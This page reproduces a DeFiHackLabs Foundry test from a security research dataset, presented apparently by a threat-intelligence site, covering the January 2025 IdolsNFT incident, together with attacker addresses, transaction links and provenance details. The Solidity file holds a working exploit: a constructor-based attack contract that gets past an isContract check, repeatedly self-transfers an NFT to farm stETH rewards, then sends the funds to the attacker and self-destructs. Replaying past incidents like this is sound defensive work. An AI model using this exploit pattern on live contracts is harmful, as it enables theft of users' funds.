Public reproduction file
src/test/2025-01/IdolsNFT_exp.sol
Public reproduction file for dataset entry IdolsNFT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 97 stETH8// Attacker : https://etherscan.io/address/0xe546480138d50bb841b204691c39cc514858d1019// Attack Contract : https://etherscan.io/address/0x22d22134612c0741ebdb3b74a58842d6e74e3b1610// Vulnerable Contract : https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d1709411// Attack Tx : https://etherscan.io/tx/0x5e989304b1fb61ea0652db4d0f9476b8882f27191c1f1d2841f8977cb8c5284c13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094#code16// @Analysis17// Post-mortem : https://rekt.news/theidolsnft-rekt18// Twitter Guy : https://x.com/TenArmorAlert/status/187937674416113298119// Hacking God : N/A20pragma solidity ^0.8.0;22address constant IDOLS_NFT = 0x439cac149B935AE1D726569800972E1669d17094;23address constant ATTACKER = 0xE546480138D50Bb841B204691C39cC514858d101;24address constant ATTACKER_2 = 0x8152970a81f558d171a22390E298B34Be8d40CF4;25address constant ST_ETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;26uint256 constant TOKEN_ID = 940;28contract IdolsNFT is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 21624139 - 1;31 function setUp() public {32 vm.createSelectFork("mainnet", blocknumToForkFrom);33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = ST_ETH;35 }37 function testExploit() public balanceLog {38 address contractAddress = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));40 vm.prank(ATTACKER);41 IIDOLS(IDOLS_NFT).safeTransferFrom(ATTACKER, contractAddress, TOKEN_ID);43 new AttackContract();45 // This process repeated 15 times between block 21624128 and block 2162636246 // ref: https://etherscan.io/txs?a=0xe546480138d50bb841b204691c39cc514858d101&p=347 }48}50contract AttackContract {51 // Put code in the constructor will bypass the Address.isContract() check52 constructor() {53 for (uint256 i = 0; i < 2000; i++) {54 uint256 totalRewards = IIDOLS(IDOLS_NFT).allocatedStethRewards();55 uint256 rewardPerGod = IIDOLS(IDOLS_NFT).rewardPerGod();56 if (rewardPerGod > totalRewards) {57 break;58 }59 // Transferring an NFT gives rewards to both sender and receiver.60 // Using safeTransferFrom with same sender/receiver exploits this to earn rewards61 // without actually losing the NFT token62 IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), address(this), TOKEN_ID);63 }65 // Transfer all stETH and NFT token back to attacker66 uint256 stEthAmount = IERC20(ST_ETH).balanceOf(address(this));67 IERC20(ST_ETH).transfer(msg.sender, stEthAmount);68 IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), ATTACKER, TOKEN_ID);69 IERC20(ST_ETH).approve(ATTACKER_2, type(uint256).max);70 IERC20(ST_ETH).approve(msg.sender, type(uint256).max);72 // Self-destruct the contract73 selfdestruct(payable(msg.sender));74 }75}77interface IIDOLS is IERC721 {78 function allocatedStethRewards() external view returns (uint256);79 function rewardPerGod() external view returns (uint256);80}Analysis
Dataset entry
Public Foundry test for “IdolsNFT” (2025-01-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe546480138d50bb841b204691c39cc514858d101
- Attack Contract
0x22d22134612c0741ebdb3b74a58842d6e74e3b16
- Vulnerable Contract
0x439cac149b935ae1d726569800972e1669d17094
- Attack Tx
0x5e989304b1fb61ea0652db4d0f9476b8882f27191c1f1d2841f8977cb8c5284c
- Post: https://rekt.news/theidolsnft-rekt
- Twitter: https://x.com/TenArmorAlert/status/1879376744161132981
- Explorer: https://etherscan.io/address/0xe546480138d50bb841b204691c39cc514858d101
- Explorer: https://etherscan.io/address/0x22d22134612c0741ebdb3b74a58842d6e74e3b16
- Explorer: https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094
- Explorer: https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094#code
- Explorer: https://etherscan.io/txs?a=0xe546480138d50bb841b204691c39cc514858d101&p=3
File record
- Name
- IdolsNFT
- Path
- src/test/2025-01/IdolsNFT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7273b0652c272199c8c940aa427b389904a599ae
- Language
- Solidity
- Size
- 81 lines
- Date
- 2025-01-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/IdolsNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7273b0652c272199c8c940aa427b389904a599ae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.